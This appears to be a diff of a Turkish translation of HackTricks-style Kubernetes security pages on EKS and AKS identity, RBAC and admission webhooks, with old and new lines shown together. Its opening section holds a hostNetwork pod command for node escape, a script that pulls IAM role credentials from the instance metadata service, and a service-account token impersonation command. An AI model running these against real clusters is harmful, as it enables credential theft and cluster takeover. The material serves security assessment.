Nodea **escape etmek** için, `hostNetwork` etkin bir pod çalıştırmak üzere aşağıdaki komutu kullanabilirsiniz:
Nodea **escape etmek** için `hostNetwork` etkin bir pod çalıştırmak üzere aşağıdaki komutu kullanabilirsiniz:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### IAM Role Token Çalma
### IAM Role Token’ını Çal
Daha önce **IAM Rolesu Podsa bağlamayı** ve hatta instance’ın bağlı olduğu **IAM Roleu çalmak için Nodea kaçmayı** tartıştık.
Daha önce **IAM Rolesları Podsa eklemeyi** veya hatta **Nodea kaçıp** instance’ın kendisine eklenmiş **IAM Role**unu çalmayı tartışmıştık.
Yeni, zahmetle elde ettiğiniz **IAM role credentials**’ınızı **çalmak** için aşağıdaki scripti kullanabilirsiniz:
Yeni, emekle elde ettiğin **IAM role credentials**’ını **çalmak** için aşağıdaki scripti kullanabilirsin:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
@@ -287,11 +330,11 @@ fi
```
### Privesc to cluster-admin
Özetle: bir pod içinden **EKS Node IAM role**e erişmek mümkünse, **tüm kubernetes cluster**’ı compromise etmek mümkündür.
Özetle: bir pod içinden **EKS Node IAM role** erişmek mümkünse, **tüm kubernetes cluster** ele geçirilebilir.
Daha fazla bilgi için [bu yazıya](https://blog.calif.io/p/privilege-escalation-in-eks) bakın. Özet olarak, EKS nodelarına varsayılan olarak atanan default IAM EKS role, cluster içinde `system:node` rolü olarak atanır. Bu rol çok ilginçtir, ancak kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) ile sınırlıdır.
Daha fazla bilgi için [bu gönderiye](https://blog.calif.io/p/privilege-escalation-in-eks) bakın. Özet olarak, EKS nodelarına varsayılan olarak atanan default IAM EKS role, cluster içinde `system:node` roleü olarak atanır. Bu role çok ilginçtir, ancak kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) ile sınırlandırılmıştır.
Bununla birlikte, node her zaman node içindeki podlarda çalışan service accountlar için token generate edebilir. Yani, node privileged bir service account ile çalışan bir pod çalıştırıyorsa, node bu service account için bir token generate edebilir ve onu service accountu impersonate etmek için şu şekilde kullanabilir:
Bununla birlikte, node her zaman node içindeki podlarda çalışan service accounts için token üretebilir. Bu yüzden, node privileged bir service account ile çalışan bir pod barındırıyorsa, node bu service account için bir token üretebilir ve onu şunun gibi service accountu impersonate etmek için kullanabilir:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
@@ -300,10 +343,10 @@ kubectl --context=node1 create token -n ns1 sa-priv \
```
## Azure / AKS
AKS içinde, değerlendirme sırasında üç kimlik yolunu ayrı tutun:
AKSte, assessment sırasında üç identity pathi ayrı tutun:
- **Azure to Kubernetes**: Azure principals, Azure RBAC role buna izin veriyorsa Azure Resource Manager üzerinden user veya admin kubeconfigs alabilir. `az aks get-credentials --admin` ile alınan local admin kubeconfigs certificate-based credentialsdır ve local accounts disabled değilse normal Microsoft Entra user/group governancei bypass edebilir.
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters, kullanıcıları, grupları veya service principals’ı `kubelogin`/exec kubeconfigs üzerinden authenticate eder. Nihai Kubernetes action, native Kubernetes RBAC veya Azure RBAC for Kubernetes Authorization tarafından authorize edilebilir.
- **Azure to Kubernetes**: Azure principals, Azure RBAC role buna izin veriyorsa, Azure Resource Manager üzerinden user veya admin kubeconfigs alabilir. `az aks get-credentials --admin` ile alınan local admin kubeconfigs certificate-based credentialstır ve local accounts disabled değilse normal Microsoft Entra user/group governanceını bypass edebilir.
- **Microsoft Entra to Kubernetes**: Entra-integrated clusters, kullanıcıları, grupları veya service principals’ı `kubelogin`/exec kubeconfigs üzerinden authenticate eder. Nihai Kubernetes action, native Kubernetes RBAC ya da Azure RBAC for Kubernetes Authorization ile authorize edilebilir.
- **Kubernetes to Azure**: Pods normalde Microsoft Entra Workload ID kullanmalıdır; bu, projected Kubernetes service account tokens’ı AKS OIDC issuer ve federated identity credentials üzerinden Entra ile exchange eder.
Azuredan faydalı AKS identity checks:
@@ -316,7 +359,7 @@ AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
az role assignment list --scope "$AKS_ID" --include-inherited -o table
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table
```
Kubernetes'ten, AKS Workload ID sinyallerini ara:
Kubernetestan AKS Workload ID sinyallerini arayın:
```bash
kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8
@@ -332,21 +375,43 @@ metadata:
labels:
azure.workload.identity/use: "true"
```
Küme hâlâ deprecated Microsoft Entra pod-managed identity model kullanıyorsa, Workload ID annotations yerine eski CRDs ve NMI/MIC components bileşenlerini arayın:
Daha yeni AKS ortamları, her subject için bir federated identity credential oluşturmadan Workload IDyi birçok cluster veya service account arasında ölçeklemek için **AKS Identity Bindings** (preview) kullanabilir. Bu modelde, bir user-assigned managed identity AKS clustera bağlanır, workloadlar `azure.workload.identity/use-identity-binding: "true"` ile bunu etkinleştirir ve Kubernetes RBAC, managed identity client IDleri adlarıyla `cid.wi.aks.azure.com` resourcelarında `use-managed-identity` izni verir. Buradaki geniş bir `ClusterRoleBinding`, direct federated identity credential subjectleri dar görünse bile aynı Azure identitysini beklenenden daha fazla namespacee açabilir.
```bash
az aks identity-binding list -g <resource-group> --cluster-name <cluster> -o yaml
kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12
```
Eğer cluster hâlâ deprecated Microsoft Entra pod-managed identity modelini kullanıyorsa, Workload ID annotations yerine eski CRD'leri ve NMI/MIC component'lerini arayın:
```bash
kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'
```
AKS nodeları Azure VM scale set instancelarıdır, bu yüzden node veya host-level access, Azure Instance Metadata Servicei `169.254.169.254` adresinde açığa çıkarabilir. Sıradan bir podun node managed identity credentials alacağını varsaymayın: workload identity ayarlarını, legacy pod identity/NMI davranışını, hostNetwork kullanımını, network controls ve node accessi önce doğrulayın. Bir node identity geniş Azure permissionsa sahipse, application Workload ID doğru şekilde scope edilmiş olsa bile node compromise bir Azure pivota dönüşebilir.
AKS nodeları Azure VM scale set instancelarıdır, bu yüzden node veya host düzeyinde erişim Azure Instance Metadata Servicee `169.254.169.254` adresinden erişim açığa çıkarabilir. Sıradan bir podun node managed identity credentials alacağını varsaymayın: workload identity ayarlarını, legacy pod identity/NMI davranışını, hostNetwork kullanımını, network kontrollerini ve önce node erişimini doğrulayın. Bir node identity geniş Azure permissionsa sahipse, application Workload ID doğru şekilde scoped olsa bile node compromise bir Azure pivota dönüşebilir.
## References
AKS Automatic ve Node Auto-Provisioning (NAP), toplamanız gereken node tarafı evidence’ı değiştirir. AKS Automatic, Workload ID/OIDC desteği, managed node pools, node resource group lockdown ve managed upgrade behavior dahil olmak üzere birkaç production defaultu önceden yapılandırır. NAP, managed Karpenter-based provisioning modedur ve bekleyen workloads için hangi nodeların oluşturulacağını belirlemek üzere `NodePool`, `AKSNodeClass` ve `NodeClaim` gibi Kubernetes resources kullanır. Bu resourcesu kimin değiştirebildiğini, yüksek etkili scheduling controls’ü, privileged podsu ve broad tolerations’ı gözden geçirin; ayrıca node resource group lockdownun doğrudan VMSS/load balancer editsini engelleyip değişiklikleri Kubernetes veya AKS APIs üzerinden zorlayıp zorlamadığını da kontrol edin.
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
-o yaml
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```
## Referanslar
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
{{#include ../../banners/hacktricks-training.md}}
@@ -4,57 +4,65 @@
## Role-Based Access Control (RBAC)
Kubernetes, API servera kullanım izinleri ayarlamaya yardımcı olan **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) adlı bir **authorization module**a sahiptir.
Kubernetes, API servera kullanım izinleri ayarlamaya yardımcı olan **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) adlı bir **authorization module**e sahiptir.
RBACın permission modeli **üç ayrı parçadan** oluşur:
RBACin permission modeli **üç ayrı parçadan** oluşur:
1. **Role\ClusterRole ** Gerçek permission. Bir izin kümesini temsil eden _**rules**_ içerir. Her rule, [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) ve [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) içerir. Verb, resource üzerinde uygulanacak eylemdir.
2. **Subject (User, Group or ServiceAccount) ** Permissionları alacak obje.
1. **Role\ClusterRole ** Gerçek permission. Bir permission kümesini temsil eden _**rules**_ içerir. Her rule, [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) ve [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) içerir. Verb, resource üzerinde uygulanacak actiondır.
2. **Subject (User, Group or ServiceAccount) ** Permissionları alacak object.
3. **RoleBinding\ClusterRoleBinding ** Role\ClusterRole ile subject arasındaki bağlantı.
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
“**Roles**” ve “**ClusterRoles**” arasındaki fark yalnızca roleun nerede uygulanacağıdır bir “**Role**” yalnızca **bir** **belirli** **namespace** için erişim verirken, bir “**ClusterRole**” cluster içindeki **tüm namespaces** içinde kullanılabilir. Ayrıca, **ClusterRoles** şunlara da erişim verebilir:
“**Roles**” ile “**ClusterRoles**” arasındaki fark, roleun nerede uygulanacağıdır bir “**Role**” yalnızca **bir** **belirli** **namespace** için erişim verirken, bir “**ClusterRole**” clusterdaki **tüm namespaces** içinde kullanılabilir. Ayrıca, **ClusterRoles** şunlara da erişim verebilir:
- **cluster-scoped** resources (nodes gibi).
- **non-resource** endpoints (/healthz gibi).
- namespaced resources (Pods gibi), **tüm namespaces** boyunca.
**Kubernetes** 1.6dan itibaren **RBAC** policies varsayılan olarak **etkinleştirilmiştir**. Ancak RBACi etkinleştirmek için şuna benzer bir şey kullanabilirsiniz:
**Kubernetes** 1.6dan itibaren **RBAC** policies varsayılan olarak **enabled** durumdadır. Ancak RBACi enable etmek için şöyle bir şey kullanabilirsin:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
Modern clusters can also configure the API server authorizer chain with `--authorization-config`, which points to an `AuthorizationConfiguration` file. This file can define ordered authorizers, multiple webhook authorizers, webhook timeouts, `failurePolicy`, cache settings, and CEL `matchConditions` that decide which requests are sent to a webhook. During a security review, do not stop at `--authorization-mode` if `--authorization-config` is present: read the referenced file and check whether a webhook can fail open with `NoOpinion`, whether match conditions skip sensitive resources, and whether all API server replicas use equivalent authorization configuration.
Also check authentication configuration when reviewing anonymous API exposure. `--authentication-config` can scope the anonymous authenticator to specific paths such as `/livez`, `/readyz`, and `/healthz`. Anonymous health endpoint access is not the same as anonymous access to Kubernetes resources; the dangerous condition is an RBAC or authorizer path that lets `system:anonymous` or `system:unauthenticated` read or modify real API objects.
Finally, treat membership in `system:masters` as cluster-admin-equivalent. Users or certificates in this group have unrestricted API access that bypasses normal RBAC and webhook authorization restrictions, so identity mappings that add this group can be more important than ordinary RoleBinding output.
## Templates
Bir **Role** veya **ClusterRole** şablonunda, **role adını**, **namespace**'i (roles içinde) ve ardından role ait **apiGroups**, **resources** ve **verbs**'leri belirtmeniz gerekir:
In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role:
- **apiGroups**, bu kuralın uygulandığı farklı **API namespaces**'leri içeren bir dizidir. Örneğin, bir Pod tanımı apiVersion: v1 kullanır. _rbac.authorization.k8s.io veya \[\*] gibi değerler alabilir_.
- **resources**, bu kuralın **hangi resources'lara uygulandığını** tanımlayan bir dizidir. Tüm resources'ları şurada bulabilirsiniz: `kubectl api-resources --namespaced=true`
- **verbs**, **izin verilen verbs**'leri içeren bir dizidir. Kubernetes'teki verb, resource'a uygulamanız gereken **işlem türünü** tanımlar. Örneğin, list verb'i collection'lara karşı kullanılırken, "get" tek bir resource'a karşı kullanılır.
- The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_.
- The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true`
- The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource.
### Rules Verbs
(_Bu bilgi_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb) _kaynağından alınmıştır_)
(_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (tekil resources için), list (collection'lar için, tam object içeriği dahil), watch (tekil bir resource veya resource collection'larını izlemek için) |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (tekil resources için), deletecollection (collection'lar için) |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes bazen specialized verbs kullanarak ek permissions için authorization kontrolü yapar. Örneğin:
Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `policy` API group'undaki `podsecuritypolicies` resources üzerinde `use` verb'i.
- `use` verb on `podsecuritypolicies` resources in the `policy` API group.
- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping)
- `rbac.authorization.k8s.io` API group'undaki `roles` ve `clusterroles` resources üzerinde `bind` ve `escalate` verb'leri.
- `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group.
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- core API group'undaki `users`, `groups` ve `serviceaccounts` üzerinde `impersonate` verb'i, ayrıca `authentication.k8s.io` API group'undaki `userextras`.
- `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
Kubernetes v1.36 also includes **constrained impersonation** as a beta feature. Instead of only granting the legacy all-or-nothing `impersonate` verb, clusters can grant mode-specific verbs such as `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node`, or `impersonate:associated-node`, plus action-specific verbs such as `impersonate-on:user-info:list` on the target resource. Review both halves: the identity the subject can impersonate and the actions it can perform while impersonating. Legacy `impersonate` rules can still allow broader access, so do not assume constrained-looking verbs are enforced unless the API server version and access-review evidence confirm it.
> [!WARNING]
> `kubectl api-resources --sort-by name -o wide` çalıştırarak **her resource'un desteklediği tüm verbs'leri** bulabilirsiniz
> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
### Examples
```yaml:Role
@@ -84,9 +92,9 @@ verbs: ["get", "watch", "list"]
```
kubectl get pods --all-namespaces
```
### **RoleBinding ve ClusterRoleBinding**
### **RoleBinding and ClusterRoleBinding**
[**Dokümanlardan:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Bir **role binding, bir role içinde tanımlanan izinleri bir usera veya bir kullanıcı grubuna verir**. Bir subjects listesi (users, groups veya service accounts) ve verilen rolea bir referans içerir. Bir **RoleBinding**, belirli bir **namespace** içinde izin verirken, bir **ClusterRoleBinding** bu erişimi **cluster-wide** olarak verir.
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Bir **role binding, bir role içinde tanımlanan permissionsları bir usera veya bir kullanıcı grubuna verir**. Bu, bir subjects listesi (users, groups veya service accounts) ve verilen role bir reference içerir. Bir **RoleBinding**, belirli bir **namespace** içinde permissions verirken, bir **ClusterRoleBinding** bu accessi **cluster-wide** verir.
```yaml:RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -126,9 +134,9 @@ apiGroup: rbac.authorization.k8s.io
### Kontrol etmeye değer detaylar
RBAC, YAML `kind` yerine API URLlerinde göründüğü haliyle resource adlarını kullanır. Bir Pod `pods`, bir Deployment `deployments` olur ve subresources `/` ile yazılır; örneğin `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` veya `services/proxy`. `pods` üzerindeki bir permission, otomatik olarak `pods/exec` veya `pods/log` erişimi vermez.
RBAC, YAML `kind` yerine API URLlerde göründükleri şekilde resource names kullanır. Bir Pod `pods`, bir Deployment `deployments` olur ve subresources `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` veya `services/proxy` gibi bir slash ile yazılır. `pods` üzerindeki bir permission, otomatik olarak `pods/exec` veya `pods/log` erişimi vermez.
`resourceNames`, bazı istekleri belirli object adlarıyla kısıtlayabilir:
`resourceNames`, bazı requestsi belirli object adlarıyla kısıtlayabilir:
```yaml
rules:
- apiGroups: [""]
@@ -136,7 +144,7 @@ resources: ["configmaps"]
resourceNames: ["app-config"]
verbs: ["get", "update"]
```
Bu, üst düzey `create` veya `deletecollection` işlemlerini ada göre kısıtlamaz. `list` ve `watch` için, client eşleşen bir `metadata.name` field selector içermelidir; aksi takdirde istek bu rule tarafından yetkilendirilmez:
Bu, üst düzey `create` veya `deletecollection` işlemlerini ada göre kısıtlamaz. `list` ve `watch` için, istemci eşleşen bir `metadata.name` field selector içermelidir; aksi halde istek bu kural tarafından yetkilendirilmez:
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
@@ -147,8 +155,9 @@ kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
kubectl auth can-i impersonate-on:user-info:list pods -n default
```
## **RBAC'ı Enumerate Etme**
## **RBACyi Enumarate Etme**
```bash
# Get current privileges
kubectl auth can-i --list
@@ -170,7 +179,7 @@ kubectl describe roles
kubectl get rolebindings
kubectl describe rolebindings
```
### Yetki Yükseltmesi için Role/ClusterRoles kötüye kullanımı
### Role/ClusterRoles'u Ayrıcalık Yükseltme için Kötüye Kullanma
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -6,20 +6,20 @@
## Tanım
`ValidatingWebhookConfiguration`, bir veya daha fazla validating admission webhook kaydeden bir Kubernetes kaynağıdır. Bu webhooks, kimlik doğrulama ve yetkilendirmeden sonra fakat nesne kalıcı hale getirilmeden önce API serverdan AdmissionReview istekleri alır.
`ValidatingWebhookConfiguration`, bir veya daha fazla validating admission webhook kaydeden bir Kubernetes kaynağıdır. Bu webhooks, API serverdan authentication ve authorization sonrasında, ancak nesne kalıcı hale getirilmeden önce AdmissionReview istekleri alır.
Validating webhooks bir isteği reddedebilir. `MutatingWebhookConfiguration` ile yapılandırılan Mutating webhooks ise önce nesneyi değiştirebilir. Security reviewler genellikle her iki kaynağı da incelemelidir çünkü kötü amaçlı veya zayıf bir mutating webhook, workloadsu yeniden yazabilir; buna karşılık bir validating webhook veya policy engine bunları engelleyebilir ya da izin verebilir.
Validating webhooks bir isteği reddedebilir. `MutatingWebhookConfiguration` ile yapılandırılan mutating webhooks, önce nesneyi değiştirebilir. Security reviews genellikle her iki kaynağı da incelemelidir çünkü kötü niyetli veya zayıf bir mutating webhook workloadları yeniden yazabilir, while bir validating webhook veya policy engine onları engelleyebilir ya da izin verebilir.
## Amaç
`ValidatingWebhookConfiguration`’ın amacı, API server’ın ne zaman bir validating webhook çağıracağını ve webhook sonucunu nasıl işleyeceğini tanımlamaktır. Önemli security sorusu yalnızca "bir policy kurulu mu?" değil, aynı zamanda şunlardır:
`ValidatingWebhookConfiguration`’ın amacı, API server’ın ne zaman bir validating webhook çağıracağını ve webhook sonucunu nasıl işleyeceğini tanımlamaktır. Önemli security sorusu yalnızca "bir policy yüklü mü?" değil, aynı zamanda şunlardır:
- Hangi API groups, resources, operations ve scopes ile eşleşiyor?
- Hangi namespaces veya objects, selectors tarafından hariç tutuluyor?
- Hangi namespaces veya nesneler selectors tarafından hariç tutuluyor?
- `matchConditions` herhangi bir request sınıfını atlıyor mu?
- `failurePolicy`, `Ignore` ile fail open mı yoksa `Fail` ile fail closed mı?
- Webhook service erişilebilir mi, yapılandırılmış `caBundle` tarafından trusted mı ve çok yüksek ayrıcalıklı bir service account ile mi çalışıyor?
- Policy engine ayrıca exception resources, excluded users veya excluded groups da sunuyor mu?
- Webhook service erişilebilir mi, yapılandırılan `caBundle` tarafından trusted mı ve yüksek ayrıcalıklı bir service account tarafından mı çalıştırılıyor?
- policy engine ayrıca exception resources, excluded users veya excluded groups da sunuyor mu?
**Örnek**
@@ -57,8 +57,8 @@ The main difference between a ValidatingWebhookConfiguration and policies :
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : Gelen Kubernetes API isteklerini önceden tanımlanmış bir dizi kural ve kısıta karşı doğrulayan, sunucu taraflı bir bileşen olan validating webhook'u tanımlayan bir Kubernetes kaynağıdır.
- **Kyverno ClusterPolicy**: pods, deployments ve services gibi Kubernetes kaynaklarını doğrulamak ve enforce etmek için bir dizi kural ve kısıt belirleyen bir policy tanımıdır
- **ValidatingWebhookConfiguration (VWC)** : Gelen Kubernetes API isteklerini önceden tanımlanmış bir dizi kural ve kısıta karşı doğrulayan, server-side bir bileşen olan bir validating webhook tanımlayan bir Kubernetes kaynağıdır.
- **Kyverno ClusterPolicy**: pods, deployments ve services gibi Kubernetes resources'ları doğrulamak ve enforce etmek için bir dizi kural ve kısıt belirten bir policy tanımıdır
## Enumeration
```
@@ -69,63 +69,55 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook
```
İncelenecek alanlar:
- `rules`: Kapsanan API gruplarını, sürümleri, resources, subresources, operations ve scope'u kontrol edin.
- `namespaceSelector` / `objectSelector`: Policy'den resources'ları hariç tutan namespaces veya labels olup olmadığına bakın.
- `matchConditions`: CEL ifadeleri kasıtlı ya da istemeden requests'i atlayabilir.
- `failurePolicy`: `Ignore`, webhook başarısız olursa requests'in devam etmesine izin verir; `Fail` bunları engeller.
- `sideEffects`: Side effects olan webhooks, dry-run testing'i desteklemeyebilir.
- `timeoutSeconds`: `Ignore` ile birlikte çok kısa timeout'lar fail-open davranışına dönüşebilir.
- `clientConfig`: Webhook'un in-cluster bir Service'e mi yoksa external URL'e mi işaret ettiğini gözden geçirin ve arkasındaki workload ile service account'u inceleyin.
- `reinvocationPolicy`: Mutating webhooks, sonraki mutation object'i değiştirdiğinde yeniden invoke edilebilir.
- `rules`: Kapsanan API groups, versions, resources, subresources, operations ve scopeu kontrol edin.
- `namespaceSelector` / `objectSelector`: Policyden resourceları hariç tutan namespaces veya labels olup olmadığına bakın.
- `matchConditions`: CEL expressions, istekleri bilerek veya yanlışlıkla atlayabilir.
- `failurePolicy`: `Ignore`, webhook başarısız olursa isteklerin devam etmesine izin verir; `Fail` ise onları engeller.
- `sideEffects`: Side effects olan webhooks, dry-run testingi desteklemeyebilir.
- `timeoutSeconds`: `Ignore` ile birlikte çok kısa timeoutlar fail-open davranışa dönüşebilir.
- `clientConfig`: Webhookun in-cluster bir Servicee mi yoksa external URLye mi işaret ettiğini inceleyin ve backing workload ile service accountu kontrol edin.
- `reinvocationPolicy`: Mutating webhooks, sonraki mutation objecti değiştirdiğinde yeniden invoke edilebilir.
### Native CEL admission policies
Modern clusters ayrıca admission logici yalnızca webhook configurations ile değil, `admissionregistration.k8s.io` içindeki native policy objects ile de enforce edebilir. `ValidatingAdmissionPolicy`, validating webhookse in-process CEL tabanlı bir alternatiftir ve yalnızca bir `ValidatingAdmissionPolicyBinding` onu seçtiğinde aktiftir. `MutatingAdmissionPolicy` Kubernetes v1.36da stabildir ve CEL tarafından üretilen mutations için `MutatingAdmissionPolicyBinding` ile etkinleştirilir.
Şunlarla listeleyin:
```bash
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
kubectl get validatingadmissionpolicy <name> -o yaml
kubectl get validatingadmissionpolicybinding <name> -o yaml
```
Güvenlik kontrolleri:
- Binding olmayan bir policy hiçbir şeyi enforce etmez.
- Binding üzerindeki `validationActions`, validation failures durumunda denied, warned, audited ya da yalnızca recorded olup olmayacağını belirler.
- `failurePolicy: Ignore`, CEL evaluation errors veya misconfiguration durumunda fail open yapılmasına izin verir.
- `matchConstraints`, `matchConditions`, `namespaceSelector` ve `objectSelector`, hassas istekleri exclude edebilir.
- `paramKind` ve `paramRef`, ConfigMaps veya CRD-backed parameter objects'lerin policy boundary'nin bir parçası olmasını sağlayabilir; bu parameter objects'leri kimlerin değiştirebildiğini kontrol edin.
- Policy'lere, binding'lere ve parameter resources'a yapılan writes, privileged admission-control değişiklikleri gibi ele alınmalıdır.
### Abusing Kyverno and Gatekeeper VWC
Gördüğümüz gibi kurulu olan tüm operators en az bir ValidatingWebHookConfiguration(VWC) içeriyor.
Gördüğümüz gibi kurulu tüm operators en az bir ValidatingWebHookConfiguration(VWC) içeriyor.
**Kyverno** ve **Gatekeeper**, cluster genelinde policies tanımlamak ve uygulamak için bir framework sağlayan Kubernetes policy engines'dir.
**Kyverno** ve **Gatekeeper**, bir cluster genelinde policies tanımlamak ve enforce etmek için framework sağlayan Kubernetes policy engines'idir.
Exceptions, bir policy'nin belirli koşullar altında bypass edilmesine veya değiştirilmesine izin veren özel rules veya koşulları ifade eder, ancak bu tek yol değildir !
Exceptions, bir policy'nin belirli koşullar altında bypass edilmesine veya değiştirilmesine izin veren özel rules veya conditions'ları ifade eder, ancak bu tek yol değildir !
**kyverno** için, bir validating policy olduğu sürece `kyverno-resource-validating-webhook-cfg` webhook'u doldurulur.
**kyverno** için, bir validating policy olduğu sürece `kyverno-resource-validating-webhook-cfg` webhook'u populate edilir.
Gatekeeper için `gatekeeper-validating-webhook-configuration` YAML file vardır.
Gatekeeper için `gatekeeper-validating-webhook-configuration` YAML dosyası vardır.
İkisi de default değerlerle gelir ama Administrator ekipleri bu 2 file'ı güncellemiş olabilir.
İkisi de varsayılan values ile gelir, ancak Administrator teams bu iki dosyayı güncellemiş olabilir.
### Use Case
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
